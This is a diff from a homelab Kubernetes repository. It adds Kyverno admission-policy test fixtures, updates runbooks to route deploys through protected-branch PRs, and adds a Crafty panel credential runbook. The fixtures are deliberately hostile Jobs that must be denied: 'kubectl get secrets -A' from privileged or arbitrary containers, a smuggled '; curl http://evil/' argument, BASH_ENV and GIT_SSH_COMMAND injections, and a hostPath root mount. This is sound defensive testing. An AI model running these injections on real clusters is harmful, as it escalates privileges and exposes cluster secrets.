+  # `command` is pinned, so the injection moves to a variable the pinned command honours.
+  # BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
+  # execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
+  # rule — its container shape is perfect and only its env is hostile, which is exactly why the
+  # env rule has to exist separately.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-env-names-must-be-the-committed-set
+    kind: Job
+    resources: [injected-env, injected-initcontainer-env]
+    result: fail
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-use-envfrom
+    kind: Job
+    resources: [envfrom-whole-secret]
+    result: fail

platform/kyverno/tests/conformance-trigger/resources.yaml

@@ -0,0 +1,464 @@
+# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
+# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
+# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
+# `results` are the only two volume names admission allows. Must be ADMITTED.
+#
+# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
+# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
+# securityContext, and the presence of the init container) in step with it.
+#
+# The init container carries NO args: its logic is baked into the runner image at
+# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
+# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
+# see `evil-initcontainer` below for the escalation it closes.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: real-template
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      securityContext:
+        runAsNonRoot: true
+        runAsUser: 65532
+        fsGroup: 65532
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          env:
+            - name: CONFORMANCE_GIT_SHA
+              value: "0123456789abcdef0123456789abcdef01234567"
+            # BY SECRET NAME ONLY — and as env, not as a volume.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+      containers:
+        - name: chainsaw
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          workingDir: /workspace/src/conformance
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
+          env:
+            - name: CONF_ARTIFACTS
+              value: /results
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The minimal committed shape — must be ADMITTED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: good-run
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-command
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# An arbitrary image running as the privileged SA. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-image
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: docker.io/library/alpine:latest
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: tag-not-digest
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# Host namespaces + privilege escalation. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: host-namespaces
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      hostPID: true
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: false
+            allowPrivilegeEscalation: true
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# An extra volume — the way out of a constrained pod. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: extra-volume
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: hostroot
+          hostPath:
+            path: /
+---
+# Injected args beyond the committed flags. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-args
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2", ";", "curl", "http://evil/"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
+# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
+# INIT container running as the privileged conformance-runner SA. Before
+# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
+# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
+# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
+#
+# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
+# Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-initcontainer
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: sneak
+          image: docker.io/library/alpine:latest
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            privileged: true
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
+# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
+# command mean anything, so this must be DENIED even though image and command are correct.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: initcontainer-with-args
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          args: ["--exec", "curl http://evil/"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
+# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
+# and caps the count. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: second-initcontainer
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+        - name: also-me
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
+# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
+# script runs. Everything else here is the committed shape. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-env
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3"]
+          env:
+            - name: CONF_ARTIFACTS
+              value: /results
+            - name: BASH_ENV
+              value: /workspace/src/conformance/_pwned
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
+# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: envfrom-whole-secret
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3"]
+          envFrom:
+            - secretRef:
+                name: anything-in-this-namespace
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
+# is the thing that reads them. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-initcontainer-env
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          env:
+            - name: CONFORMANCE_GIT_SHA
+              value: "0123456789abcdef0123456789abcdef01234567"
+            - name: GIT_SSH_COMMAND
+              value: "sh -c 'kubectl get secrets -A'"
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
+# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
+# this case may be unreachable in practice; the rule and this fixture exist because
+# "probably rejected upstream" is not a boundary. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-ephemeral-container
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      ephemeralContainers:
+        - name: debugger
+          image: docker.io/library/alpine:latest
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}

platform/kyverno/tests/conformance-trigger/user-info.yaml

@@ -0,0 +1,12 @@
+# The requesting identity the policy keys on. Without this the `subjects` match never fires and
+# every case below would trivially "pass" — proving nothing.
+apiVersion: cli.kyverno.io/v1alpha1
+kind: UserInfo
+metadata:
+  name: conformance-trigger
+userInfo:
+  username: system:serviceaccount:conformance:conformance-trigger
+  groups:
+    - system:serviceaccounts
+    - system:serviceaccounts:conformance
+    - system:authenticated

runbooks/README.md

@@ -33,7 +33,8 @@ negative is how a CLI quirk becomes real data loss. Write `backups.velero.io`,
 `backups.postgresql.cnpg.io`, `clusters.postgresql.cnpg.io`, `settings.longhorn.io`,
 `volumes.longhorn.io`, `nodes.longhorn.io`.
 
-`git push origin main` **is** the deploy; there is no other apply step. Durable changes go through git.
+Merging a PR into `main` **is** the deploy; there is no other apply step. `main` is protected, so a
+direct push is rejected — durable changes go through a branch, a PR, and a green gate.
 
 ## Alerts you should not trust the silence of (measured 2026-09-13)
 
@@ -109,9 +110,17 @@ Each affected runbook says so on its own page and gives the by-hand equivalent.
   every green signal missed.
 
 ### Operator procedures (no alert links here)
-- **`plex-claim`** — claiming the Plex Media Server. The plex.tv claim token lives ~4 minutes, so this
-  is a timed sequence: token → `sops` → push → **forced** `flux reconcile` → pod roll. Includes why a
-  changed Secret does not restart anything, and why an expired token is harmless.
+- **`plex-claim`** — claiming the Plex Media Server. **Claimed 2026-09-29**; the page now only
+  applies after a `/config` wipe. The claim token is short-lived — read the countdown on
+  plex.tv/claim — so it is a timed sequence, scripted as `infra/plex/claim-ship.sh`:
+  token → `sops` → PR → gate → merge → **forced** `flux reconcile` → pod roll (~2m45s measured).
+  Includes why a changed Secret does not restart anything, and why an expired token is harmless.
+- **`crafty-admin-credential`** — you signed into Keycloak and Crafty *still* asks for a password.
+  Expected: Crafty 4 has no OIDC, so its own local login sits behind the oauth2-proxy gate as a second
+  factor. The page tells the two layers apart from the sidecar log, and explains that the bootstrap
+  password exists **only** on the PVC (`default-creds.txt`, generated once on first boot, never in git).
+  Includes the argon2 reset for a lost password, why the 3-strikes lockout cannot fire behind the
+  sidecar, and why deleting `crafty.sqlite` to force a new password destroys every server definition.
 
 ### Virtualisation
 - **`kubevirt-control-plane`** — VM lifecycle operations will fail; running VMs keep running.

runbooks/backup-failure.md

@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/backup-missed.md

@@ -61,8 +61,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/backup-partial.md

@@ -78,8 +78,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cdi-import-stuck.md

@@ -55,8 +55,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cert-expiry.md

@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cert-issuance.md

@@ -63,8 +63,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cnpg-archiving.md

@@ -87,8 +87,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cnpg-backup-missed.md

@@ -69,8 +69,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cnpg-exporter.md

@@ -71,8 +71,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cnpg-primary-spread.md

@@ -68,8 +68,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cnpg-wal-growth.md

@@ -61,8 +61,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/crafty-admin-credential.md

@@ -0,0 +1,179 @@
+# crafty-admin-credential — Crafty's own login rejects you after Keycloak sign-in
+
+**Not alert-driven.** This is an operator procedure, linked from
+[`platform/crafty/README.md`](../platform/crafty/README.md). It covers getting into the Crafty panel the
+first time, rotating that credential, and recovering when it is lost.
+
+> **Everything below prints or sets a LIVE credential.** Do not paste the output into a PR, an issue, a
+> chat, or an AI agent transcript. Read it, use it, rotate it. (Repo rule §6: secrets never enter a
+> transcript.)
+
+## What this means here
+
+`crafty.home.keithjackson.dev` sits behind **two** independent authentications, and only the first is
+Keycloak's:
+
+1. the **oauth2-proxy sidecar** in the Crafty pod — Keycloak `homelab` realm, group `platform-admins`;
+2. **Crafty's own local username/password login** — Crafty 4 has no OIDC and cannot consume the
+   sidecar's identity headers, so it shows its own login page to an already-authenticated user.
+
+So "I signed into Keycloak and I'm still not signed in" is the **expected** shape of this service, and
+the real question is only ever *which* of the two rejected you. They fail differently:
+
+| Where you are | What you see | Which layer |
+|---|---|---|
+| Bounced to Keycloak repeatedly, never reach Crafty | sidecar log: `No valid authentication in request` | oauth2-proxy |
+| Authenticated but `403` | not in `platform-admins` | oauth2-proxy |
+| **Crafty's own login page, credentials refused** | `POST /api/v2/auth/login/` → **401** | **Crafty local** |
+
+The third row is the one that blocks setup, because **nothing in the UI tells you where that password
+comes from**. Crafty generates it **once, on first boot only** — when the users table is empty
+(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`) — and writes it to
+`/crafty/app/config/default-creds.txt` (mode `0600`) on the `config` subPath of the `crafty-data` PVC.
+It is **never in git** and **cannot be recovered from git**: a rebuild onto a fresh PVC generates a new
+random password, and the old one is gone with the old volume.
+
+Two things that are *not* the problem, both verified live:
+
+- **Repeated wrong guesses cannot lock you out.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For`) but *checks* the 3-strikes cooldown under
+  `self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The halves key
+  differently, so `max_login_attempts: 3` never fires. (It also means that throttle is not a control
+  you have — the `platform-admins` gate is what limits who reaches the form at all.)
+- **Crafty's `set_passwd` console command is unreachable here.** It calls `getpass.getpass()` and needs
+  a TTY; the container runs `main.py -d -i` as a daemon. Recovery goes through the DB instead.
+
+## First commands
+
+`kubectl` does not exist on the workstation — the toolchain lives only in the pinned dev container, and
+`dev.sh` picks a current-context **per invocation**, so always name the context.
+
+**1. Is the pod healthy, and is the password still the generated one?**
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+kubectl --context k3s-prod -n crafty get pods -l app.kubernetes.io/name=crafty
+kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
+import sqlite3
+c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
+for r in c.execute(\"SELECT username,created,last_update,last_login FROM users WHERE user_id=1\"):
+    print(\"created    :\",r[1]); print(\"last_update:\",r[2]); print(\"last_login :\",r[3])
+"'
+```
+
+Read `last_update` against `created`: **equal ⇒ the password has never been changed**, so
+`default-creds.txt` is still live. Different ⇒ someone rotated it and that file is stale — skip to
+*Reset*.
+
+**2. Read the bootstrap credential** (prints a live secret — see the warning at the top):
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/default-creds.txt'
+```
+
+The username is `admin`. Sign in at `https://crafty.home.keithjackson.dev` (Keycloak first, then this).
+
+**3. Rotate it immediately**, in the UI: user menu → your profile → change password. That is the only
+supported path that keeps Crafty's own bookkeeping consistent. Then confirm it took — re-run command 1
+and check `last_update` has moved away from `created`.
+
+## Likely causes, most likely first
+
+1. **You never had the password.** By far the most common, and the reason this runbook exists. The
+   credential was only ever on the PVC. → commands 1–3 above.
+2. **The password was rotated and not recorded.** `last_update` ≠ `created` while nobody knows the
+   value. `default-creds.txt` is now misleading, not authoritative. → *Reset* below.
+3. **The PVC was rebuilt.** A fresh volume means a fresh random password *and* an empty panel — no
+   servers, no worlds (`platform/crafty/README.md`, "the servers themselves are NOT in git"). Read
+   `default-creds.txt` from the new pod; do not expect the old credential to work.
+4. **You are actually stuck at the oauth2-proxy layer, not Crafty's.** Check which layer is talking
+   before touching any password:
+   ```bash
+   ./infra/devcontainer/dev.sh run bash -c \
+     'kubectl --context k3s-prod -n crafty logs deploy/crafty -c oauth2-proxy --tail=200 | grep -v kube-probe'
+   ```
+   `[AuthSuccess] ... groups:[platform-admins]` followed by a `200` on `/login` means oauth2-proxy did
+   its job and the 401 is Crafty's. Repeated `No valid authentication in request` with no `AuthSuccess`
+   means the session cookie is not surviving — see *cookie isolation* in
+   `platform/crafty/README.md`; this sidecar must keep its own `--cookie-name` distinct from the shared
+   proxy's, or the two evict each other.
+5. **`platform-admins` membership lapsed.** A `403` rather than a login page. Fix in Keycloak, not here.
+
+## Reset when the password is unknown
+
+Crafty stores an **argon2** hash in `users.password`. This writes a fresh random password, invalidates
+existing sessions, and drops the new value into a `0600` file **inside the pod** — deliberately
+mirroring Crafty's own `default-creds.txt` idiom so the secret never crosses argv, stdin or shell
+history. (`dev.sh` does **not** forward stdin — a `kubectl exec -i` here hangs forever, which is why the
+password is generated in-pod rather than passed in.)
+
+Two details that will otherwise cost you the afternoon: argon2 is installed **only** in Crafty's venv,
+so it must be `/crafty/.venv/bin/python`, not the system `python3`; and this is a **mutating operator
+action**, not an agent action.
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+ 'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- /crafty/.venv/bin/python -c "
+import os, secrets, sqlite3, string, datetime
+from argon2 import PasswordHasher
+pw  = \"\".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(24))
+now = datetime.datetime.now()
